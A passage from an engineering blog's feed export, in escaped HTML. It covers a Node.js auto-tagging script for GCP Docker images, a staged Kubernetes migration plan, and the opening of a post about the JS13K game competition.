punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;_fetchTagsFromGCP&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;gcloud container images list-tags &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;imageName &lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; --sort-by=~TAGS --limit=1 --format=json&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Public functions&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;increment&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; stringifiedTags &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;_fetchTagsFromGCP&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stringifiedTags&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; tags &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stringifiedTags&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; tags&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; tag &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; tags&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;VERSONING_REGEX&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tag&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; prefix &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; major &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; minor &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; patch &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;VERSONING_REGEX&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;tag&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;tagType&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;TAG_TYPES&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;PATCH&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; patch&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;TAG_TYPES&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;MINOR&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; patch &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; minor&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;TAG_TYPES&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;MAJOR&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; patch &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; minor &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; major&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;prefix&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;major&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;minor&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;patch&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Return default tag if none already exists.&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;0.0.1&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Autotag&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;increment&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Thanks &lt;a href=&quot;https://twitter.com/gauravmuk&quot;&gt;Gaurav Nanda&lt;/a&gt; for the above script.&lt;/p&gt; &lt;h3 id=&quot;production-staged-rollout&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#production-staged-rollout&quot; aria-label=&quot;production staged rollout permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Production staged rollout&lt;/h3&gt; &lt;p&gt;Our ultimate goal is to migrate everything from the existing setup to GCP with Docker and Kubernetes. Migrating the whole system in one go on production is time-consuming as well as risky.&lt;/p&gt; &lt;p&gt;To avoid this we are targeting individual services one by one. Initially, a service will run on GCP as well as on the existing server with their databases pointing to the old setup. We will open them for a few accounts at the beginning. The rest of the accounts will work as before. This will ensure that if any issue comes in a new setup, we can easily switch back to the old setup while fixing it.&lt;/p&gt; &lt;div style=&quot;text-align:center;margin:50px;&quot;&gt; &lt;img src=&quot;/images/2019/11/docker_stage_rollout.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;h2 id=&quot;next-steps&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#next-steps&quot; aria-label=&quot;next steps permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Next steps&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;Integrate health check APIs with Kubernetes.&lt;/li&gt; &lt;li&gt;Development environment using &lt;a href=&quot;http://telepresence.io/&quot;&gt;telepresence&lt;/a&gt;.&lt;/li&gt; &lt;li&gt;Add service discovery tool like &lt;a href=&quot;https://www.consul.io/&quot;&gt;consul&lt;/a&gt;.&lt;/li&gt; &lt;li&gt;Add a vault system for secrets.&lt;/li&gt; &lt;li&gt;Better logging.&lt;/li&gt; &lt;li&gt;Integrate &lt;a href=&quot;https://helm.sh/&quot;&gt;helm&lt;/a&gt; to manage the Kubernetes cluster.&lt;/li&gt; &lt;li&gt;Docker image size management.&lt;/li&gt; &lt;li&gt;Add support for blue green deployments.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;We may be using some things differently that can be improved upon. There can be better tools that we are yet to explore. We are open to any suggestions that can help us in improving what we are already doing and what we will require in the future. This is just a start, we will try to improve in every iteration and solve new challenges.&lt;/p&gt; &lt;p&gt;Thanks to &lt;a href=&quot;https://twitter.com/gauravmuk&quot;&gt;Gaurav Nanda&lt;/a&gt; for mentoring and guiding us for everything.&lt;/p&gt; &lt;h2 id=&quot;references&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#references&quot; aria-label=&quot;references permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;References&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;https://docs.docker.com/get-started/&quot;&gt;https://docs.docker.com/get-started/&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://kubernetes.io/docs/concepts/&quot;&gt;https://kubernetes.io/docs/concepts/&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://www.udemy.com/course/docker-and-kubernetes-the-complete-guide/&quot;&gt;https://www.udemy.com/course/docker-and-kubernetes-the-complete-guide/&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://runnable.com/blog/9-common-dockerfile-mistakes&quot;&gt;https://runnable.com/blog/9-common-dockerfile-mistakes&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://github.com/wsargent/docker-cheat-sheet&quot;&gt;https://github.com/wsargent/docker-cheat-sheet&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;</content:encoded><author>Punit Gupta, Kamal Sehrawat</author></item><item><title><![CDATA[JS13K Games 2K18]]></title><description><![CDATA[Introduction: Js13kGames is a JavaScript game development competition that is organized every year from 13th August to 13th September. What…]]></description><link>https://engineering.wingify.com//posts/js13k-game-development/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/js13k-game-development/</guid><pubDate>Wed, 26 Sep 2018 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;introduction&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#introduction&quot; aria-label=&quot;introduction permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Introduction:&lt;/h2&gt; &lt;p&gt;&lt;a href=&quot;http://js13kgames.com/&quot;&gt;Js13kGames&lt;/a&gt; is a JavaScript game development competition that is organized every year from 13th August to 13th September. What makes this one stand apart from other game dev competitions, is the game size limit of 13 kilobytes. Yes, Just 13KB for everything, including code, images, graphics, sounds! Moreover, a theme is decided every year and the game, ideally, should be based on that. This results in a lot of brainstorming and innovative ideas. For this year, the theme was &apos;&lt;strong&gt;offline&lt;/strong&gt;&apos;.&lt;/p&gt; &lt;p&gt;The competition is organized by &lt;a href=&quot;https://twitter.com/end3r&quot;&gt;Andrzej Mazur&lt;/a&gt; who is also one of the judges. They play every submitted game at the end of the competition and give their reviews in terms of what went right &amp;#x26; in what directions improvements could be made. Needless to say, there are a lot of prizes like gadgets, t-shirts, and stickers to be won every year.&lt;/p&gt; &lt;h2 id=&quot;preparations&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#preparations&quot; aria-label=&quot;preparations permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Preparations&lt;/h2&gt; &lt;p&gt;JS13K competition is not new to folks at Wingify. A couple of us have prior experience of this. &lt;a href=&quot;https://twitter.com/chinchang457&quot;&gt;Kush&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/gauravmuk&quot;&gt;Gaurav&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/s0ftvar&quot;&gt;Varun&lt;/a&gt; had participated in previous JS13K events. Having experienced &amp;#x26; enjoyed the competition first hand, they felt compelled to inform the rest of us as well.&lt;/p&gt; &lt;p&gt;After the first week since the beginning of the competition, we all met and the veterans of this competition introduced us to the rules &amp;#x26; theme, basic techniques related to game development, &amp;#x26; tools that might be handy along the way. We were a little short on time considering that we had to first come up with feasible concepts &amp;#x26; our primary experience being Frontend SPA development, creating these games was about to be unlike any code we professionally write. &lt;/p&gt; &lt;h2 id=&quot;entries&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#entries&quot; aria-label=&quot;entries permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Entries&lt;/h2&gt; &lt;h3 id=&quot;twisty-polyhedra&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#twisty-polyhedra&quot; aria-label=&quot;twisty polyhedra permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;http://js13kgames.com/entries/twisty-polyhedra&quot;&gt;Twisty Polyhedra&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Author: &lt;a href=&quot;https://twitter.com/Aditya_r_m&quot;&gt;Aditya Mishra&lt;/a&gt;&lt;/p&gt; &lt;p&gt;The concept behind this one is simple, You will have access to Rubik&apos;s cube variants of different sizes &amp;#x26; shapes to solve. You&apos;re likely familiar with the standard size 3 Rubik&apos;s cube. But what you may not be aware of is that it&apos;s actually just one item from a huge family of puzzles with 